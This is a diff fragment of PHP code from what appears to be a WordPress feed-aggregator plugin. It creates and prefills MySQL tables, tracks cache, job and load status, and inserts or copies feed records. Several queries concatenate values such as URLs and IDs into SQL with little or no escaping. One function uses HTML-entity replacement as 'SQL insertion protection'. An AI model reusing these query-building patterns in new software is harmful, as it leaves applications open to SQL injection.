+			  default_list int(11) NOT NULL default '0' COMMENT 'The Default List Filter for the Output format',
+			  items_per_site int(4) NOT NULL default '10',
+			  type enum('countrecentitem','daterecentitem','sitealpha','siteupdate') NOT NULL default 'countrecentitem',
+			  template_ticker text COMMENT 'template for ticker',
+			  append_extra_link enum('Y','N') NOT NULL default 'Y',
+			  append_cache_link enum('Y','N') NOT NULL default 'Y',
+			  add_social_bookmarks enum('Y','N') NOT NULL default 'Y',
+			  template_sidebarwidget text COMMENT 'template for sidebar widgets',
+			  max_words_in_synposis int(4) NOT NULL default '10',
+			  max_word_length int(4) NOT NULL default '35',
+			  item_date_format varchar(30) default 'd.m.Y \\\u\\\m H:i\\\h',
+			  allowable_xhtml_tags varchar(150) default '',
+			  enable_caching enum('Y','N') NOT NULL default 'Y',
+			  template_cache text NOT NULL COMMENT 'template for the cache page',
+			  cache_view_page varchar(200) default NULL,
+			  channel_title varchar(100) default 'Feedmix von ".$blog_name."',
+			  channel_link varchar(100) default '',
+			  channel_description varchar(200) default 'Feedmix generiert mit dem Parteibuch Aggregator)',
+			  channel_language varchar(10) default 'de',
+			  channel_copyright varchar(100) default 'Verschiedene (Details Siehe Autorenlinks)',
+			  template_kalender text NOT NULL,
+			  archive_date_format varchar(255) NOT NULL default 'Y-m-d',
+			  kalendermonthslist varchar(255) NOT NULL default 'Januar, Februar, M&auml;rz, April, Mai, Juni, Juli, August, September, Oktober, November, Dezember',
+			  kalenderboxtablecaption varchar(255) NOT NULL default ' id=\"kalendertable\"',
+			  kalender_last varchar(255) NOT NULL default 'Fr&uuml;her',
+			  kalender_next varchar(255) NOT NULL default 'Sp&auml;ter',
+			  kalenderboxdaysofweeklist varchar(255) NOT NULL default 'Montag, Dienstag, Mittwoch, Donnerstag, Freitag, Samstag, Sonntag',
+			  superparameter text NOT NULL COMMENT 'free style paras',
+			  PRIMARY KEY  (identifier)
+			) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE utf8_general_ci AUTO_INCREMENT=1";
+			$result = $wpdb->query($sql);
+			$this->prefill_table($this->pbaoutputtable);
+		}
+
+		if(!$this->table_exists($this->listtable)){
+			$sql =  "CREATE TABLE IF NOT EXISTS $this->listtable (".
+				// about the list
+				"$this->lidentifier			int(10) NOT NULL auto_increment, " .
+				"$this->lname				varchar(255) NOT NULL default '-', ".
+				"$this->lurls				text, ".
+				"$this->llistall enum('Y','N') NOT NULL default 'N', " .
+				"PRIMARY KEY 				($this->lidentifier) ) CHARSET=latin1"; 
+			$result = $wpdb->query($sql);
+			$this->prefill_table($this->listtable);
+		}
+
+			$sql = "CREATE TABLE IF NOT EXISTS $this->errortable (".
+/* changed */	"$this->eidentifier			int(10) NOT NULL auto_increment, ".
+				"$this->efeedurl			varchar(240) NOT NULL, ".
+				"$this->etime				int(15) NOT NULL, ".
+				"$this->etext				text NOT NULL, ".
+				"PRIMARY KEY				($this->eidentifier), ".
+/* changed */	"INDEX						($this->efeedurl) ) DEFAULT CHARSET=utf8 COLLATE utf8_general_ci ";
+			$result = $wpdb->query($sql);
+
+		if(!$this->table_exists($this->sitetable)){
+			$sql = "CREATE TABLE IF NOT EXISTS $this->sitetable (".
+				"$this->cidentifier			int(10) NOT NULL auto_increment, " .
+				"$this->cfeedurl			varchar(240) NOT NULL, ".
+				"$this->csitename			varchar(255), ".
+				"$this->csitenameoverride	enum('Y','N') NOT NULL default 'N', " .
+				"$this->cdescription		varchar(255), ".
+				"$this->csitelicense			varchar(255), ".
+				"$this->csiteurl			varchar(255), ".
+				"$this->clastpolltime		int(15) NOT NULL DEFAULT 1, " .
+				"$this->cnextpolltime		int(15) NOT NULL DEFAULT 1, " .
+				"$this->cupdatetime			int(15) NOT NULL DEFAULT 1, " .
+				"$this->cgmtadjust			float(4,1) NOT NULL DEFAULT 0.0, ".
+				"$this->cpollingfreqmins	int(6) NOT NULL DEFAULT 0, ".
+				"PRIMARY KEY				($this->cidentifier), ".
+				"UNIQUE KEY					($this->cfeedurl), ".
+				"INDEX						($this->clastpolltime) ) DEFAULT CHARSET=utf8 COLLATE utf8_general_ci ";
+			$result = $wpdb->query($sql);
+			$this->prefill_table($this->sitetable);
+		}
+
+			$sql = "CREATE TABLE IF NOT EXISTS $this->itemtable (".
+				"$this->iidentifier			int(10) NOT NULL auto_increment, ".
+				"$this->ifeedurl			varchar(240) NOT NULL, ".
+				"$this->iitemurl			varchar(255) NOT NULL, ".
+				"$this->iitemname			varchar(255) NOT NULL, ".
+				"$this->iitemsitename			varchar(255) NOT NULL, ".
+				"$this->iitemsiteurl			varchar(255) NOT NULL, ".
+				"$this->iitemlicense			varchar(255) NOT NULL, ".
+				"$this->iitemtext			text NOT NULL, ".
+				"$this->iitemtime			int(15) NOT NULL, ".
+				"$this->iitemdate			date NOT NULL, ".
+				"$this->iitemupdate			int(15) NOT NULL, ".
+				"PRIMARY KEY				($this->iidentifier), " .
+				"UNIQUE KEY					($this->ifeedurl (200), $this->iitemurl (100)), ".
+				"INDEX						($this->iitemdate), ".
+				"INDEX						($this->ifeedurl), ".
+				"INDEX						($this->iitemtime) ) DEFAULT CHARSET=utf8 COLLATE utf8_general_ci ";
+			//echo $sql;
+			$result = $wpdb->query($sql);
+
+			$sql= "CREATE TABLE IF NOT EXISTS $this->mtablestatus (
+$this->memtable CHAR( 60 ) NOT NULL ,
+$this->mdatetime DATETIME,
+$this->mstatus CHAR( 10 ) NOT NULL ,
+$this->mnotice CHAR( 50 ) NOT NULL ,
+PRIMARY KEY ( $this->memtable )
+) ENGINE = " . $engine . " DEFAULT CHARSET=utf8 COLLATE utf8_general_ci ";
+			$result = $wpdb->query($sql);
+
+			$sql = "CREATE TABLE IF NOT EXISTS $this->msitetable (".
+				"$this->midentifier			int(10) NOT NULL auto_increment, " .
+				"$this->mfeedurl			varchar(240) NOT NULL, ".
+				"$this->msitename			varchar(255), ".
+				"$this->msitenameoverride	enum('Y','N') NOT NULL default 'N', " .
+				"$this->mdescription		varchar(255), ".
+				"$this->msitelicense			varchar(255), ".
+				"$this->msiteurl			varchar(255), ".
+				"$this->mlastpolltime		int(15) NOT NULL DEFAULT 1, " .
+				"$this->mnextpolltime		int(15) NOT NULL DEFAULT 1, " .
+				"$this->mupdatetime			int(15) NOT NULL DEFAULT 1, " .
+				"$this->mgmtadjust			float(4,1) NOT NULL DEFAULT 0.0, ".
+				"$this->mpollingfreqmins	int(6) NOT NULL DEFAULT 0, ".
+				"PRIMARY KEY " . $btree . " ($this->midentifier), ".
+				"UNIQUE KEY ($this->mfeedurl), ".
+				"INDEX " . $btree . " ($this->mlastpolltime) ) ENGINE = " . $engine . " DEFAULT CHARSET=utf8 COLLATE utf8_general_ci ";
+			$result = $wpdb->query($sql);
+
+			$sql= "CREATE TABLE IF NOT EXISTS $this->mitemtable (
+			  $this->miid mediumint(8) unsigned NOT NULL,
+			  $this->misiteid smallint(5) unsigned NOT NULL,
+			  $this->miitemtime int(15) NOT NULL,
+			  $this->miitemdate date NOT NULL,
+			  PRIMARY KEY  ($this->miid),
+			  KEY `Memory_index`  " . $btree . "  ($this->misiteid,$this->miitemtime),
+			  KEY `Memory_index_time_id`  " . $btree . "  ($this->miitemtime,$this->misiteid)
+				) ENGINE = " . $engine . " DEFAULT CHARSET=utf8 COLLATE utf8_general_ci ";
+			$result = $wpdb->query($sql);
+			
+			if($try_memtable_creation){
+				$this->create(false);
+			}
+			
+		}
+
+		function prefill_table($tablename){
+			global $wpdb;
+			if($tablename == $this->sitetable){
+				$feed_url=mysql_real_escape_string(get_pbadefaultsite('feed_url'));
+				$site_name=mysql_real_escape_string(get_pbadefaultsite('site_name'));
+				$description=mysql_real_escape_string(get_pbadefaultsite('description'));
+				$site_license=mysql_real_escape_string(get_pbadefaultsite('site_license'));
+				$site_url=mysql_real_escape_string(get_pbadefaultsite('site_url'));
+				$sql="INSERT INTO $this->sitetable (
+					feed_url , site_name , description , site_license , site_url
+				) VALUES (
+					'".$feed_url."', 
+					'".$site_name."', '".$description."', 
+					'".$site_license."' , '".$site_url."'
+				)";
+			}
+			if($tablename == $this->listtable){
+				$sql="INSERT INTO $this->listtable (identifier, name, url_list, list_all) 
+					VALUES (1, 'Full Text Ticker', '1', 'Y')";
+			}
+			if($tablename == $this->pbaoutputtable){
+				$outputname=mysql_real_escape_string(get_pbadefaultparameter('outputname'));
+				$template_ticker=mysql_real_escape_string(get_pbadefaultparameter('template_ticker'));
+				$template_sidebarwidget=mysql_real_escape_string(get_pbadefaultparameter('template_sidebarwidget'));
+				
+				$channel_language=mysql_real_escape_string(get_pbadefaultparameter('channel_language'));
+				$channel_copyright=mysql_real_escape_string(get_pbadefaultparameter('channel_copyright'));
+				
+				$template_cache=mysql_real_escape_string(get_pbadefaultparameter('template_cache'));
+				$template_kalender=mysql_real_escape_string(get_pbadefaultparameter('template_kalender'));
+				$kalendermonthslist=mysql_real_escape_string(get_pbadefaultparameter('kalendermonthslist'));
+				$kalender_last=mysql_real_escape_string(get_pbadefaultparameter('kalender_last'));
+				$kalender_next=mysql_real_escape_string(get_pbadefaultparameter('kalender_next'));
+				$kalenderboxdaysofweeklist=mysql_real_escape_string(get_pbadefaultparameter('kalenderboxdaysofweeklist'));
+
+				$sql="INSERT INTO $this->pbaoutputtable 
+				(name, page2hookin, default_list, items_per_site, type, template_ticker, 
+					append_extra_link, append_cache_link, add_social_bookmarks, template_sidebarwidget, 
+					max_words_in_synposis, max_word_length, item_date_format, allowable_xhtml_tags, enable_caching, 
+					template_cache, cache_view_page, channel_title, channel_link, 
+					channel_description, channel_language, channel_copyright, template_kalender, archive_date_format, 
+					kalendermonthslist, 
+					kalenderboxtablecaption, kalender_last, kalender_next, 
+					kalenderboxdaysofweeklist, superparameter) 
+				VALUES 
+				('".$outputname."', 0, 1, 25, 'countrecentitem', '".$template_ticker."', 
+					'Y', 'Y', 'Y', '".$template_sidebarwidget."', 
+					100, 40, 'd.m.Y H:i\\\h', '', 'Y', 
+					'".$template_cache."', '', 'Parteibuch Aggregator Feed', '', 
+					'Parteibuch Aggregator Feedmix', '".$channel_language."', '".$channel_copyright."', '".$template_kalender."', 'Y-m-d', 
+					'".$kalendermonthslist."', 
+					' style=&quot;text-align: center;&quot; id=&quot;kalendertable&quot;', 
+					'".$kalender_last."', '".$kalender_next."', '".$kalenderboxdaysofweeklist."', '')
+				";
+			}
+			if($tablename == $this->optionstable){
+				$sql="INSERT INTO $this->optionstable ( name , type , value , notice ) 
+					VALUES
+					( 'enable_caching', 'string', 'auto', 'shall be one of Y, N, auto, if not set, default shall be auto' )
+					, ( 'enable_rewriting', 'string', 'Y', 'shall be one of Y, N, if not set, default shall be Y' )
+					, ( 'full_cache_time', 'int', '60', '0 shall disable this cache' )
+					, ( 'kalenderquery_cache_time', 'int', '3600', '0 shall disable this cache' )
+					, ( 'feedlistquery_cache_time', 'int', '7200', '0 shall disable this cache' )
+					, ( 'enable_memtables', 'string', 'auto', 'shall be one of Y, N, auto, if not set, default shall be auto' )
+					, ( 'enable_loaddetection', 'string', 'auto', 'shall be one of Y, N, auto, if not set, default shall be auto' )
+					, ( 'highloadthreshold', 'int', '10', '0 may disable housekeeping jobs' )
+					, ( 'update_oldest_jobdefinition', 'jobdefinition', 'startpoint=a10,\r\nmaxexecutiontime=100', 'shall be started not earlier than 10 seconds after the last time it finished')
+					, ( 'housekeeping_cache_jobdefinition', 'jobdefinition', 'startpoint=d00-03:00h,\r\nmaxexecutiontime=3600', 'Shall be executed each day one time the next time after a page was called after 3 oclock in the morning')
+					, ( 'process_updates_jobdefinition', 'jobdefinition', 'startpoint=a3600,\r\nmaxexecutiontime=100', 'shall be processed one hour - 3600 seconds - after this job ended the last time')
+					, ( 'process_new_jobdefinition', 'jobdefinition', 'startpoint=a3600, \r\nmaxexecutiontime=500', 'new entries to the search index shall be processed 3600 seconds after it run the last time, but only, if there were no unprocessed new records left')
+					, ( 'process_deletes_jobdefinition', 'jobdefinition', 'startpoint=a3600,\r\nmaxexecutiontime=100', 'deletions from the search index shall be done monthly at the first page call after day 3 04:17h.')
+					";
+			}
+			$result = $wpdb->query($sql);
+			return mysql_insert_id();
+		} //end function
+
+		function get_mysql_variables($varname=""){
+			global $wpdb;
+			$sql="SHOW VARIABLES ";
+			if(is_string($varname) && $varname != '') $sql .= " LIKE '".$varname."'";
+			$result = $wpdb->get_row($sql);
+			if(isset($result->Value)){
+				return $result->Value;
+			} else {
+				return "";
+			}
+		}
+
+		function get_mysql_tablestatus($tablename=""){
+			global $wpdb;
+			$sql="SHOW TABLE STATUS ";
+			if(is_string($tablename) && $tablename != '') $sql .= " LIKE '".$tablename."'";
+			$result = $wpdb->get_row($sql);
+			if($result){
+				return $result;
+			} else {
+				return false;
+			}
+		}
+
+
+		function prefill_memtables(){
+			global $wpdb;
+			
+//			    echo "<br>Filling memtables ... ";
+
+			//set memory status value for all tables to start
+			$sql= "REPLACE INTO $this->mtablestatus (
+				$this->memtable , $this->mdatetime , $this->mstatus, $this->mnotice
+				) VALUES ( 'sites', NOW( ) , 'start' , 'prefilling'),
+				( 'items', NOW( ) , 'start' , 'prefilling')";
+			$result = $wpdb->query($sql);
+
+			//fill site memory table
+			$sql= "TRUNCATE TABLE $this->msitetable ";
+			$result = $wpdb->query($sql);
+			
+			$sql= "INSERT INTO $this->msitetable 
+			SELECT * FROM $this->sitetable";
+			$result = $wpdb->query($sql);
+
+			//fill item index memory table
+			$sql= "TRUNCATE TABLE $this->mitemtable ";
+			$result = $wpdb->query($sql);
+
+			$sql= "INSERT INTO $this->mitemtable 
+				SELECT itemtable.$this->iidentifier as $this->miid, msitetable.$this->midentifier as $this->misiteid, 
+				itemtable.$this->iitemtime as $this->miitemtime, itemtable.$this->iitemdate as $this->miitemdate 
+				FROM $this->itemtable itemtable, $this->msitetable msitetable 
+				WHERE itemtable.$this->ifeedurl = msitetable.$this->mfeedurl";
+			$result = $wpdb->query($sql);
+
+			//prefill jobtable
+			$this->jobaction();
+
+			//if all OK, set mem table status to OK
+			$sql= "REPLACE INTO $this->mtablestatus (
+				$this->memtable , $this->mdatetime , $this->mstatus, $this->mnotice
+				) VALUES ( 'sites', NOW( ) , 'ok', 'prefilled' ),
+				( 'items', NOW( ) , 'ok' , 'prefilled')";
+			$result = $wpdb->query($sql);
+
+//    echo "Memtables filled";
+
+			return true;
+		}
+
+		function mark_entry_as_old_in_statustable($name){
+			//this will make some memtablerows to be recreated at next pagecall
+			global $wpdb;
+			$sql= "UPDATE $this->mtablestatus SET $this->mdatetime = FROM_UNIXTIME( '0' )
+				WHERE $this->memtable = '".$name."'";
+			$result = $wpdb->query($sql);
+			return $result;
+		}
+		
+
+//Check the status of the memory tables
+//possible returns
+// 0: not filled - need to be filled
+// 1: ok - filled and fine
+// 2: start - filling in progress going on - please wait
+// 3: start - filling in progress hanging already too long - need to be refilled
+
+
+		function get_memtable_status(&$status)
+		{
+			global $wpdb;
+			$maxstartingtime="7200";
+			$memtablestatus=0;
+			$totalstatus=0;
+			$keycounter=0;
+			$status=array();
+			$status['memtablestatus']=0;
+
+			
+			$sql= "SELECT $this->memtable, UNIX_TIMESTAMP() - UNIX_TIMESTAMP($this->mdatetime) as age, $this->mstatus, $this->mnotice FROM $this->mtablestatus";
+			$result=false;
+			$result = $wpdb->get_results($sql);
+//			echo "<br>Mem table status: ";
+			if(!$result) {
+//				echo "Mem tables not filled!";
+			} else {
+				$jobcounter=0;
+				$maxagejob['age']=0;
+				foreach($result as $key => $r) 
+				{
+					$keycounter++;
+					if($r->{$this->mstatus}=="ok" || $r->{$this->mstatus} == "unusable" 
+						|| $r->{$this->mstatus} == "disabled" || $r->{$this->mstatus} == "value"
+						|| substr($r->{$this->mstatus},0,3) == "job"
+						) $totalstatus++;
+					//$totalstatus.=$r->{$this->mstatus};
+					if($r->{$this->mstatus}=="start"){
+						$memtablestatus=2;
+						if($r->age > $maxstartingtime) $memtablestatus=3;
+					}
+					//copy the detailed status into the overloaded array
+					$status[$r->{$this->memtable}]['status'] = $r->{$this->mstatus};
+					$status[$r->{$this->memtable}]['age'] = $r->age;
+					$status[$r->{$this->memtable}]['notice'] = $r->{$this->mnotice};
+					if(substr($r->{$this->mstatus}, 0,3) == "job") $jobcounter++;
+					if(substr($r->{$this->mstatus}, 0,3) == "job" && $r->age > 0) {
+						//we shall look if we shall do something with a joba job should be run or running
+						if(substr($r->{$this->mstatus}, 3) == "running" ){
+							$status['job2kill']=$r->{$this->memtable};
+						}elseif(substr($r->{$this->mstatus}, 3) == "tostart"){
+							$status['job2restart']=$r->{$this->memtable};
+						}elseif(substr($r->{$this->mstatus}, 3) == "waiting"){
+							if($r->age > $maxagejob['age']){
+								$maxagejob['name']=$r->{$this->memtable};
+								$maxagejob['age']=$r->age;
+								$maxagejob['status']= $r->{$this->mstatus};
+							}
+						}
+					}
+				}
+			}
+
+			//now let's find out a mechanism to bring the whole status into one value
+			if ($totalstatus > 0 && $keycounter == $totalstatus ) {
+				$memtablestatus = 1;
+				$status['memtablestatus']=1;
+
+				//not really elegant to have the number of available jobs here hardcoded, but who cares
+				if($jobcounter == 5){
+					if(isset($status['job2kill'])){
+						//job is running too long - kill this job - this fallback should just be hit in case of a job crash
+						$this->change_jobstatus($status['job2kill'], 'waiting');
+					}elseif(isset($status['job2restart'])){
+						$this->change_jobstatus($status['job2restart'], 'tostart');
+						$status['job2start']['name']=$status['job2restart'];
+						$status['job2start']['time']=time();
+					}elseif(isset($maxagejob['name'])){
+						//announce a new job
+						$this->change_jobstatus($maxagejob['name'], 'tostart');
+						$status['job2start']['name']=$maxagejob['name'];
+						$status['job2start']['time']=time();
+					}
+				}else{
+					$this->jobaction();
+				}
+			}
+
+			$this->check_load($status);
+
+			if(!isset($status['pbacache']) || $status['pbacache']['age'] > 10800) {
+				//check cache
+				$this->check_cache($status);
+			}
+			
+					//echo "Wea re here: status_pbacache is " . $status['pbacache'];
+			if(isset($status['pbacache']['status']) && $status['pbacache']['status'] == 'ok') {
+				if(!isset($status['full_cache_time']) || !isset($status['kalenderquery_cache_time'])  || !isset($status['feedlistquery_cache_time'])){
+					$this->check_options($status);
+				}
+			}
+
+			if(!isset($status['rewriting']) || $status['rewriting']['age'] > 86400) {
+				//check rewriting
+				$this->check_rewriting($status);
+			}
+
+//print_r($status);
+
+			return $memtablestatus;
+		}
+
+		function check_rewriting(&$status){
+			global $wpdb;
+			$pbadefault=$this->pbaoption('enable_rewriting');
+			if($pbadefault != 'Y') {
+				$status['rewriting']['status'] = 'disabled';
+				$status['rewriting']['notice'] = 'N00003: Rewriting option disabled';
+				$return = false;
+			}elseif($pbadefault == 'Y'){
+				$rewrite_array=get_option('rewrite_rules');
+				if(is_array($rewrite_array)){
+					$rulematch=false;
+					foreach($rewrite_array as $key => $value){
+						if(strstr($key,'ticker-feed')) $rulematch=true;
+					}
+					if($rulematch){
+						$status['rewriting']['status'] = 'ok';
+						$status['rewriting']['notice'] = 'N00004: Permalinks in effect';
+						$return = true;
+					}
+				}
+				if(!isset($return)){
+					$status['rewriting']['status'] = 'unusable';
+					$status['rewriting']['notice'] = 'W00002: Wordpress has not enabled rewrite';
+					$return = false;
+				}
+			}
+			$sql= "REPLACE INTO $this->mtablestatus (
+				$this->memtable , $this->mdatetime , $this->mstatus, $this->mnotice
+				) VALUES ( 'rewriting', NOW( ) , '".$status['rewriting']['status']."' , '".$status['rewriting']['notice']."')";
+			$result = $wpdb->query($sql);
+			return $return;
+		}
+
+		function check_options(&$status){
+			global $wpdb;
+//initialisation
+			$newstatus=array();
+			$result = $this->get_all_options();
+
+			if(!$result){
+				return false;
+			} else {
+				foreach($result as $key => $r){
+					if($r->name == 'full_cache_time') $newstatus['full_cache_time']=array('status' => 'value', 'notice' => $r->value);
+					if($r->name == 'kalenderquery_cache_time') $newstatus['kalenderquery_cache_time']=array('status' => 'value', 'notice' => $r->value);
+					if($r->name == 'feedlistquery_cache_time') $newstatus['feedlistquery_cache_time']=array('status' => 'value', 'notice' => $r->value);
+					if($r->name == 'highloadthreshold') $newstatus['highloadthreshold']=array('status' => 'value', 'notice' => $r->value);
+					if($r->name == 'enable_loaddetection') $newstatus['loaddetection']=array('status' => 'value', 'notice' => $r->value);
+				}
+	
+				if(count($newstatus)>0){
+					$sql= "REPLACE INTO $this->mtablestatus (
+						$this->memtable , $this->mdatetime , $this->mstatus, $this->mnotice
+						) VALUES ";
+	
+					foreach($newstatus as $fieldname => $values){
+						$sql .= "\n( '".$fieldname."', NOW( ) , '".$values['status']."' , '".$values['notice']."'), ";
+					}
+					$sql = preg_replace('/, $/','', $sql);
+					$result = $wpdb->query($sql);
+					$status=array_merge($status, $newstatus); //advertising
+					return $result;
+				}
+			}
+			return false;
+		}
+
+		function pba_loaddetection(){
+			if(function_exists('sys_getloadavg')) {
+				$load=sys_getloadavg();
+				$load[1]=$load[0];
+			}elseif(ini_get('safe_mode')){
+				if(ini_get('safe_mode_exec_dir') == ""){
+					$serverload = "0";
+				} else {
+					preg_match("/averages?: ([0-9\.]+),[\s]+([0-9\.]+),[\s]+([0-9\.]+)/",@exec(ini_get('safe_mode_exec_dir') . 'uptime_wrapper.sh'),$load);
+				}
+			}else{
+				//no safe mode, so directly call system command
+				preg_match("/averages?: ([0-9\.]+),[\s]+([0-9\.]+),[\s]+([0-9\.]+)/",@exec('uptime'),$load);
+				if(!isset($load[1])) preg_match("/averages?: ([0-9\.]+),[\s]+([0-9\.]+),[\s]+([0-9\.]+)/",@exec(dirname(__FILE__) . '/wrapper/uptime_wrapper.sh'),$load);
+			}
+			if(!isset($load[1])) {
+				$serverload = 0;
+			}else{
+				$serverload = abs($load[1]);
+			}
+			return $serverload;
+		}
+
+		function check_load(&$status){
+			global $wpdb;
+			$detectedload=0;
+			//is load detection enabled?
+
+			if(isset($status['loaddetection']['notice']) 
+				&& isset($status['pbaload']['notice'])
+				&& isset($status['pbaload']['age'])
+				){
+				//option disabled and load set to zero, nothing to do here
+				if($status['loaddetection']['notice'] == 'N' && $status['pbaload']['notice'] == '0') return true;
+				
+				//call uptime just every three seconds
+				if($status['loaddetection']['notice'] == 'Y' && $status['pbaload']['age'] < 3)  return true;
+				
+				//retry once per hour
+				if($status['loaddetection']['notice'] == 'retry' && $status['pbaload']['age'] < 3600) return true;
+
+				if($status['loaddetection']['notice'] == 'Y' 
+					|| $status['loaddetection']['notice'] == 'auto' 
+					|| $status['loaddetection']['notice'] == 'retry'
+				){
+					$detectedload=$this->pba_loaddetection();
+					if($status['loaddetection']['notice'] == 'auto' || $status['loaddetection']['notice'] == 'retry'){
+						$newstatus['loaddetection']['status']='value';
+						if($detectedload > 0){
+							$newstatus['loaddetection']['notice']='Y';
+						}else{
+							$newstatus['loaddetection']['notice']='retry';
+						}
+						$sql= "REPLACE INTO $this->mtablestatus (
+							$this->memtable , $this->mdatetime , $this->mstatus, $this->mnotice
+							) VALUES ( 'loaddetection', NOW( ) , '".$newstatus['loaddetection']['status']."' , '".$newstatus['loaddetection']['notice']."')";
+						$result = $wpdb->query($sql);
+					}
+				}
+			} //end if isset status load detection
+			$newstatus['pbaload']=array('status' => 'value', 'notice' => abs($detectedload));
+			$sql= "REPLACE INTO $this->mtablestatus (
+				$this->memtable , $this->mdatetime , $this->mstatus, $this->mnotice
+				) VALUES ( 'pbaload', NOW( ) , '".$newstatus['pbaload']['status']."' , '".$newstatus['pbaload']['notice']."')";
+			$result = $wpdb->query($sql);
+			$status=array_merge($status, $newstatus); //advertising
+			return $result;
+		}
+
+		function check_cache(&$status){
+			global $wpdb;
+			//run on class construction, PBALIB not yet loaded here!!!
+			$cache_status=true;
+			//$cache_path=dirname(__FILE__)."/pbacache/";
+			$cache_path=PBA_CACHE_PATH;
+			$cache_file_handle = @fopen($cache_path."cachetest__t", 'w+');
+			$content=rand() . 'test';
+			if(!@fwrite($cache_file_handle, $content)) $cache_status=false;
+			@fclose($cache_file_handle);
+			if(!$get_cache=@file_get_contents($cache_path."cachetest__t")) $cache_status=false;
+			if(!$get_cache == $content) $cache_status=false;
+			//echo "cache_status " . $cache_status;
+			//exit;
+			@unlink($cache_path."cachetest__t");
+			$pbadefault=$this->pbaoption('enable_caching');
+			if($cache_status==false) {
+				$status['pbacache']['status'] = 'unusable';
+				$status['pbacache']['notice'] = 'W00001: Cachepath not writeable';
+				$return = false;
+			}elseif($pbadefault != 'Y' && $pbadefault != 'auto'){
+				$status['pbacache']['status'] = 'disabled';
+				$status['pbacache']['notice'] = 'N00005: Cachepath is writable';
+				$return = true;
+			}else{
+				$status['pbacache']['status'] = 'ok';
+				$status['pbacache']['notice'] = 'N00002: Checked';
+				$return = true;
+			}
+			
+			$sql= "REPLACE INTO $this->mtablestatus (
+				$this->memtable , $this->mdatetime , $this->mstatus, $this->mnotice
+				) VALUES ( 'pbacache', NOW( ) , '".$status['pbacache']['status']."' , '".$status['pbacache']['notice']."')";
+			$result = $wpdb->query($sql);
+			return $return;
+		}
+
+		/* --- insert --- */ 
+		function recordError($url, $text)
+		{
+			global $wpdb;
+			
+			if(!$url) return;
+			
+			// some SQL insertion protection using HTML entities
+			$text = preg_replace("/'/", '&#39;', $text);
+			$text = preg_replace('/"/', '&quot;', $text);
+			
+			if(!$text) $text = 'Unknown';
+			
+			$sql = "INSERT INTO $this->errortable ($this->efeedurl, $this->etime, $this->etext) ".
+				"VALUES ('$url', '$this->now', '$text')";
+			$result = $wpdb->query($sql);
+		}
+
+		function update_feedurl($feed_id, $pba_change_feed_to) {
+			global $wpdb;
+			//function will return false, if there shall no update of feed url in site tables made
+			//check input values
+			if($feed_id != abs(intval($feed_id)) || $feed_id == 0) return false;
+			if(preg_match('/[\'"]/',$pba_change_feed_to)) return  false;
+			
+			//return false if the feed url already exists, logic to merge feeds is not implemented
+			$sql="SELECT count(*) + 1 as numberoffeeds from $this->msitetable WHERE $this->mfeedurl = '".$pba_change_feed_to."'";
+			if( $wpdb->get_var($sql) != 1) return false;
+			//OK, so now get the feed url to update
+			$sql="SELECT $this->mfeedurl from $this->msitetable WHERE $this->midentifier = '".$feed_id."'";
+			$oldfeedurl=$wpdb->get_var($sql);
+			if(!$oldfeedurl) return false;
+			$sql="UPDATE $this->itemtable set item_feed_url = '".$pba_change_feed_to."' 
+				WHERE item_feed_url = '".$oldfeedurl."'";
+			$result = $wpdb->query($sql);
+			if($result === false) return false;
+			return true;
+		}
+		
+		function createpbaoutput($as_copy_from=false) 
+		{
+			/* createoutput() -- inserts an empty output format into the output table 
+			or copies one with ID as_copy from false*/
+
+			global $wpdb;
+			
+			if($as_copy_from===false){
+				return $this->prefill_table($this->pbaoutputtable);
+			} else {
+				$sql = "SELECT * FROM $this->pbaoutputtable WHERE $this->pbaoidentifier = '$as_copy_from'";
+				$row_to_copy = $wpdb->get_row($sql);
+				if($row_to_copy){
+					$fieldnames = $this->pbaoname . ", " . $this->pbaopage2hookin;
+					$values = "'Copy of " . $row_to_copy->{$this->pbaoname} . "', 0";
+					foreach($row_to_copy as $fieldname => $fieldvalue){
+						if($fieldname != $this->pbaoidentifier 
+							&& $fieldname != $this->pbaoname
+							&& $fieldname != $this->pbaopage2hookin
+						){
+							$fieldnames .= ", " . $fieldname;
+							$fieldvalue = mysql_real_escape_string($fieldvalue);
+							$values .= ", '" . $fieldvalue . "'";
+						}
+					}
+					$sql="INSERT INTO $this->pbaoutputtable ($fieldnames) ".
+					"VALUES ($values)";
+					$result = $wpdb->query($sql);
+					return mysql_insert_id();
+				}
+			}
+		}
+
+
+
+		function createlist($as_copy_from=false) 
+		{
+			/* createlist() -- inserts an empty output format into the list table 
+			or copies one with ID as_copy from false*/
+			
+			global $wpdb;
+			
+			if($as_copy_from===false){
+				$sql = "INSERT INTO $this->listtable ($this->lname) ".
+					"VALUES ('New list: please give it a meaningful name')";
+				$result = $wpdb->query($sql);
+				return mysql_insert_id();
+			} else {
+				$sql = "SELECT * FROM $this->listtable WHERE $this->lidentifier = '$as_copy_from'";
+				$row_to_copy = $wpdb->get_row($sql);
+				if($row_to_copy){
+					$fieldnames = "$this->lname";
+					$values = "'Copy of " . $row_to_copy->{$this->lname} . "'";
+					foreach($row_to_copy as $fieldname => $fieldvalue){
+						if($fieldname != $this->lidentifier && $fieldname != $this->lname){
+							$fieldnames .= ", " . $fieldname;
+							$fieldvalue = mysql_real_escape_string($fieldvalue);
+							$values .= ", '" . $fieldvalue . "'";
+						}
+					}
+					$sql="INSERT INTO $this->listtable ($fieldnames) ".
+					"VALUES ($values)";
+					$result = $wpdb->query($sql);
+					return mysql_insert_id();
+				}
+			}
+		}
+
+		function insert_in_sitetable($url, $polltime) 
+		{
+			global $wpdb;
+			
+			$sql = "INSERT INTO $this->sitetable ". 
+				"($this->cfeedurl, $this->clastpolltime) ". 
+				"VALUES ('$url', '$polltime')"; 
+			$result = $wpdb->query($sql);
+
+//mem table
+			$sql = "INSERT INTO $this->msitetable ". 
+				"($this->mfeedurl, $this->mlastpolltime) ". 
+				"VALUES ('$url', '$polltime')"; 
+			$result = $wpdb->query($sql);
+
+		}
+		
+		
+		/* --- insert or modify --- */
+		
+		function updateItem($url, $title, $counter, $text, $link, $ticks, $itemsitename="", $itemsiteurl="", $itemlicense="") 
+		{
+			/* updateItem($url, $title, $counter, $text, $link, $ticks)
+			*	-- this function either inserts or updates the item into the itemtable
+			*	-- only enters the time ($ticks) into the database for an insert - we ignore $ticks for updates
+			* 	-- returns false on update and true on insert
+			*/
+			
+			global $wpdb, $bdprss_search;
+
+			$sql = "SELECT $this->iidentifier as id, $this->iitemsitename as sitename, $this->iitemname as itemname, $this->iitemtext as itemtext, 
+				md5(concat($this->iitemsitename, ' ', $this->iitemname, ' ', $this->iitemtext)) as md5
+				FROM $this->itemtable ".
